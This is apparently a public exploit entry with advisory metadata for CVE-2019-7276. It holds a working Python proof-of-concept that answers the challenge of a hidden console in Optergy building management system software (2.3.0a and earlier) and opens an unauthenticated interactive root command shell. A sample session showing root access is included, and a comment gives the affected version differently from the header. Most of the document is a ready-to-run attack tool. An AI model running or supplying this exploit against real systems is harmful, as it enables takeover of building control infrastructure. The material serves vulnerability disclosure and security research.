Optergy 2.3.0a - Remote Code Execution (Backdoor)

# Title: Optergy 2.3.0a - Remote Code Execution
# Author: LiquidWorm
# Date: 2019-11-05
# Vendor: https://optergy.com/
# Product web page: https://optergy.com/products/
# Affected version: <=2.3.0a
# Advisory: https://applied-risk.com/resources/ar-2019-008
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# CVE: CVE-2019-7276

# PoC:

#!/usr/bin/env python
#
# Unauthenticated Remote Root Exploit in Optergy BMS (Console Backdoor)
#
# Affected version <=2.0.3a (Proton and Enterprise)
#
##############################################################################
#
# lqwrm@metalgear:~/stuff/optergy$ python getroot.py 192.168.232.19
# Challenge received: 1547540929287
# SHA1: 56a6e5bf103591ed45faa2159cae234d04f06d93
# MD5 from SHA1: 873efc9ca9171d575623a99aeda44e31
# Answer: 56a6e5bf103591ed45faa2159cae234d04f06d93873efc9ca9171d575623a99aeda44e31
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
##############################################################################
#
#

import os#######
import sys######
import json#####
import hashlib##
import requests#

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
    print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'
    sys.exit()

while True:

    challenge_url = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html?get'

    try:
        req1 = requests.get(challenge_url)
        get_challenge = json.loads(req1.text)
        challenge = get_challenge['response']['message']
        print 'Challenge received: ' + challenge

        hash_object = hashlib.sha1(challenge.encode())
        print 'SHA1: '+(hash_object.hexdigest())
        h1 = (hash_object.hexdigest())
        hash_object = hashlib.md5(h1.encode())
        print 'MD5 from SHA1: '+(hash_object.hexdigest())
        h2 = (hash_object.hexdigest())
        print 'Answer: '+h1+h2
        
        zeTargets = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html'
        zeCommand = raw_input('# ')
        if zeCommand.strip() == 'exit':
            sys.exit()
        zeHeaders = {'User-Agent'      : 'BB/BMS-251.4ev4h',
                     'Accept'          : '*/*',
                     'Accept-Encoding' : 'gzip, deflate',
                     'Accept-Language' : 'mk-MK,mk;q=1.7',
                     'Connection'      : 'keep-alive',
                     'Connection-Type' : 'application/x-www-form-urlencoded'}
        zePardata = {'command'         : 'sudo '+zeCommand,
                     'challenge'       : challenge,
                     'answer'          : h1+h2}

        zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
        get_resp = json.loads(zeRequest.text)
        get_answ = get_resp['response']['message']
        print get_answ
    except Exception:
        print '[*] Error!'
        break